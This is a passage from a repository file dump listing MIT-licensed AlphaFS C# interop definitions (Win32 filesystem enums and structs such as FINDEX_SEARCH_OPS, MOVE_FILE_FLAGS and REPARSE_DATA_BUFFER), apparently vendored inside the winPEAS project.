//FILE_ID_EXTD_DIR_INFO = 20\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FINDEX_INFO_LEVELS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>FINDEX_INFO_LEVELS Enumeration - Defines values that are used with the FindFirstFileEx function to specify the information level of the returned data.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      internal enum FINDEX_INFO_LEVELS\n      {\n         /// <summary>A standard set of attribute is returned in a <see cref=\"WIN32_FIND_DATA\"/> structure.</summary>\n         Standard = 0,\n\n         /// <summary>The FindFirstFileEx function does not query the short file name, improving overall enumeration speed.</summary>\n         /// <remarks>This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         Basic = 1\n\n         ///// <summary>This value is used for validation. Supported values are less than this value.</summary>\n         //MaxLevel\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FINDEX_SEARCH_OPS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>FINDEX_SEARCH_OPS Enumeration - Defines values that are used with the FindFirstFileEx function to specify the type of filtering to perform.</summary>\n      /// <remarks>\n      ///   <para>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      internal enum FINDEX_SEARCH_OPS\n      {\n         /// <summary>The search for a file that matches a specified file name.\n         /// <para>The lpSearchFilter parameter of FindFirstFileEx must be NULL when this search operation is used.</para>\n         /// </summary>\n         SearchNameMatch = 0,\n\n         /// <summary>This is an advisory flag. If the file system supports directory filtering,\n         /// <para>the function searches for a file that matches the specified name and is also a directory.</para> \n         /// <para>If the file system does not support directory filtering, this flag is silently ignored.</para>\n         /// <para>&#160;</para>\n         /// <remarks>\n         /// <para>The lpSearchFilter parameter of the FindFirstFileEx function must be NULL when this search value is used.</para>\n         /// <para>If directory filtering is desired, this flag can be used on all file systems,</para>\n         /// <para>but because it is an advisory flag and only affects file systems that support it,</para>\n         /// <para>the application must examine the file attribute data stored in the lpFindFileData parameter</para>\n         /// <para>of the FindFirstFileEx function to determine whether the function has returned a handle to a directory.</para>\n         /// </remarks>\n         /// </summary>\n         SearchLimitToDirectories = 1,\n\n         /// <summary>This filtering type is not available.</summary>\n         /// <remarks>For more information, see Device Interface Classes.</remarks>\n         SearchLimitToDevices = 2\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FIND_FIRST_EX_FLAGS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Additional flags that control the search.</summary>\n      [Flags]\n      internal enum FIND_FIRST_EX_FLAGS\n      {\n         /// <summary>No additional flags used.</summary>\n         NONE = 0,\n\n         /// <summary>Searches are case-sensitive.</summary>\n         CASE_SENSITIVE = 1,\n\n         /// <summary>Uses a larger buffer for directory queries, which can increase performance of the find operation.</summary>\n         /// <remarks>This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n         LARGE_FETCH = 2\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/GET_FILEEX_INFO_LEVELS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Defines values that are used with the GetFileAttributesEx and GetFileAttributesTransacted functions to specify the information level of the returned data.</summary>\n      public enum GET_FILEEX_INFO_LEVELS\n      {\n         /// <summary>The GetFileAttributesEx or GetFileAttributesTransacted function retrieves a standard set of attribute information. The data is returned in a WIN32_FILE_ATTRIBUTE_DATA structure.</summary>\n         GetFileExInfoStandard = 0\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/MOVE_FILE_FLAGS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      public enum MOVE_FILE_FLAGS\n      {\n         /// <summary>No MoveOptions used, this fails when the file name already exists.</summary>\n         None = 0,\n\n         /// <summary>MOVE_FILE_REPLACE_EXISTSING\n         /// <para>If the destination file name already exists, the function replaces its contents with the contents of the source file.</para>\n         /// <para>This value cannot be used if lpNewFileName or lpExistingFileName names a directory.</para>\n         /// <para>This value cannot be used if either source or destination names a directory.</para>\n         /// </summary>\n         MOVE_FILE_REPLACE_EXISTSING = 1,\n\n         /// <summary>MOVE_FILE_COPY_ALLOWED\n         /// <para>If the file is to be moved to a different volume, the function simulates the move by using the CopyFile and DeleteFile functions.</para>\n         /// <para>This value cannot be used with <see cref=\"MOVE_FILE_FLAGS.MOVE_FILE_DELAY_UNTIL_REBOOT\"/>.</para>\n         /// </summary>\n         MOVE_FILE_COPY_ALLOWED = 2,\n\n         /// <summary>MOVE_FILE_DELAY_UNTIL_REBOOT\n         /// <para>\n         /// The system does not move the file until the operating system is restarted.\n         /// The system moves the file immediately after AUTOCHK is executed, but before creating any paging files.\n         /// </para>\n         /// <para>\n         /// Consequently, this parameter enables the function to delete paging files from previous startups.\n         /// This value can only be used if the process is in the context of a user who belongs to the administrators group or the LocalSystem account.\n         /// </para>\n         /// <para>This value cannot be used with <see cref=\"MOVE_FILE_FLAGS.MOVE_FILE_COPY_ALLOWED\"/>.</para>\n         /// </summary>\n         MOVE_FILE_DELAY_UNTIL_REBOOT = 4,\n\n\n         /// <summary>MOVE_FILE_WRITE_THROUGH\n         /// <para>The function does not return until the file has actually been moved on the disk.</para>\n         /// <para>\n         /// Setting this value guarantees that a move performed as a copy and delete operation is flushed to disk before the function returns.\n         /// The flush occurs at the end of the copy operation.\n         /// </para>\n         /// <para>This value has no effect if <see cref=\"MOVE_FILE_FLAGS.MOVE_FILE_DELAY_UNTIL_REBOOT\"/> is set.</para>\n         /// </summary>\n         MOVE_FILE_WRITE_THROUGH = 8,\n\n\n         /// <summary>MOVE_FILE_CREATE_HARDLINK\n         /// <para>Reserved for future use.</para>\n         /// </summary>\n         MOVE_FILE_CREATE_HARDLINK = 16,\n\n\n         /// <summary>MOVE_FILE_FAIL_IF_NOT_TRACKABLE\n         /// <para>The function fails if the source file is a link source, but the file cannot be tracked after the move.</para>\n         /// <para>This situation can occur if the destination is a volume formatted with the FAT file system.</para>\n         /// </summary>\n         MOVE_FILE_FAIL_IF_NOT_TRACKABLE = 32\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/MountPointReparseBuffer.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct MountPointReparseBuffer\n      {\n         /// <summary>Offset, in bytes, of the substitute name string in the PathBuffer array.</summary>\n         public ushort SubstituteNameOffset;\n\n         /// <summary>Length, in bytes, of the substitute name string. If this string is null-terminated, SubstituteNameLength does not include space for the null character.</summary>\n         public ushort SubstituteNameLength;\n\n         /// <summary>Offset, in bytes, of the print name string in the PathBuffer array.</summary>\n         public ushort PrintNameOffset;\n\n         /// <summary>Length, in bytes, of the print name string. If this string is null-terminated, PrintNameLength does not include space for the null character. </summary>\n         public ushort PrintNameLength;\n\n         /// <summary>A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string.</summary>\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/REPARSE_DATA_BUFFER.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct REPARSE_DATA_BUFFER\n      {\n         /// <summary>Reparse point tag. Must be a Microsoft reparse point tag.</summary>\n         public ReparsePointTag ReparseTag;\n\n         /// <summary>Size, in bytes, of the data after the Reserved member.\n         /// This can be calculated by: (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength + (namesAreNullTerminated ? 2 * sizeof(char) : 0);\n         /// </summary>\n         public ushort ReparseDataLength;\n\n         /// <summary>Reserved; do not use.</summary>\n         public ushort Reserved;\n\n         /// <summary>Offset, in bytes, of the substitute name string in the PathBuffer array.</summary>\n         public ushort SubstituteNameOffset;\n\n         /// <summary>Length, in bytes, of the substitute name string. If this string is null-terminated, SubstituteNameLength does not include space for the null character.</summary>\n         public ushort SubstituteNameLength;\n\n         /// <summary>Offset, in bytes, of the print name string in the PathBuffer array.</summary>\n         public ushort PrintNameOffset;\n\n         /// <summary>Length, in bytes, of the print name string. If this string is null-terminated, PrintNameLength does not include space for the null character. </summary>\n         public ushort PrintNameLength;\n\n         /// <summary>A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string.</summary>\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16368)] public byte[] PathBuffer;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/ReparseDataBufferHeader.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct ReparseDataBufferHeader\n      {\n         /// <summary>Reparse point tag. Must be a Microsoft reparse point tag.</summary>\n         [MarshalAs(UnmanagedType.U4)] public ReparsePointTag ReparseTag;\n\n         /// <summary>Size, in bytes, of the data after the Reserved member.\n         /// This can be calculated by: (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength + (namesAreNullTerminated ? 2 * sizeof(char) : 0);\n         /// </summary>\n         public ushort ReparseDataLength;\n\n         /// <summary>Reserved; do not use.</summary>\n         public ushort Reserved;\n\n         /// <summary>A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string.</summary>\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVICE_INTERFACE_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>An SP_DEVICE_INTERFACE_DATA structure defines a device interface in a device information set.</summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct SP_DEVICE_INTERFACE_DATA\n      {\n         /// <summary>The size, in bytes, of the SP_DEVICE_INTERFACE_DATA structure.</summary>\n         [MarshalAs(UnmanagedType.U4)] public uint cbSize;\n\n         /// <summary>The GUID for the class to which the device interface belongs.</summary>\n         public readonly Guid InterfaceClassGuid;\n\n         /// <summary>Can be one or more of the following: SPINT_ACTIVE (1), SPINT_DEFAULT (2), SPINT_REMOVED (3).</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint Flags;\n\n         /// <summary>Reserved. Do not use.</summary>\n         private readonly IntPtr Reserved;\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVICE_INTERFACE_DETAIL_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>An SP_DEVICE_INTERFACE_DETAIL_DATA structure contains the path for a device interface.</summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct SP_DEVICE_INTERFACE_DETAIL_DATA\n      {\n         /// <summary>The size, in bytes, of the SP_DEVICE_INTERFACE_DETAIL_DATA structure.</summary>\n         [MarshalAs(UnmanagedType.U4)] public uint cbSize;\n\n         /// <summary>The device interface path. This path can be passed to Win32 functions such as CreateFile.</summary>\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MaxPath)] public readonly string DevicePath;\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/SP_DEVINFO_DATA.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>An SP_DEVINFO_DATA structure defines a device instance that is a member of a device information set.</summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct SP_DEVINFO_DATA\n      {\n         /// <summary>The size, in bytes, of the SP_DEVINFO_DATA structure.</summary>\n         [MarshalAs(UnmanagedType.U4)] public uint cbSize;\n\n         /// <summary>The GUID of the device's setup class.</summary>\n         public readonly Guid ClassGuid;\n\n         /// <summary>An opaque handle to the device instance (also known as a handle to the devnode).</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint DevInst;\n\n         /// <summary>Reserved. For internal use only.</summary>\n         private readonly IntPtr Reserved;\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_ATTRIBUTE.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>WIN32_STREAM_ID structure attributes of data to facilitate cross-operating system transfer. This member can be one or more of the following values.</summary>\n      internal enum STREAM_ATTRIBUTE\n      {\n         /// <summary>This backup stream has no special attributes.</summary>\n         NONE = 0,\n\n         /// <summary>Attribute set if the stream contains data that is modified when read. Allows the backup application to know that verification of data will fail.</summary>\n         STREAM_MODIFIED_WHEN_READ = 1,\n\n         /// <summary>The backup stream contains security information. This attribute applies only to backup stream of type <see cref=\"STREAM_ID.BACKUP_SECURITY_DATA\"/>.</summary>\n         STREAM_CONTAINS_SECURITY = 2,\n\n         /// <summary>Reserved.</summary>\n         STREAM_CONTAINS_PROPERTIES = 4,\n\n         /// <summary>The backup stream is part of a sparse file stream. This attribute applies only to backup stream of type <see cref=\"STREAM_ID.BACKUP_DATA\"/>, <see cref=\"STREAM_ID.BACKUP_ALTERNATE_DATA\"/>, and <see cref=\"STREAM_ID.BACKUP_SPARSE_BLOCK\"/>.</summary>\n         STREAM_SPARSE_ATTRIBUTE = 8\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/STREAM_ID.cs",
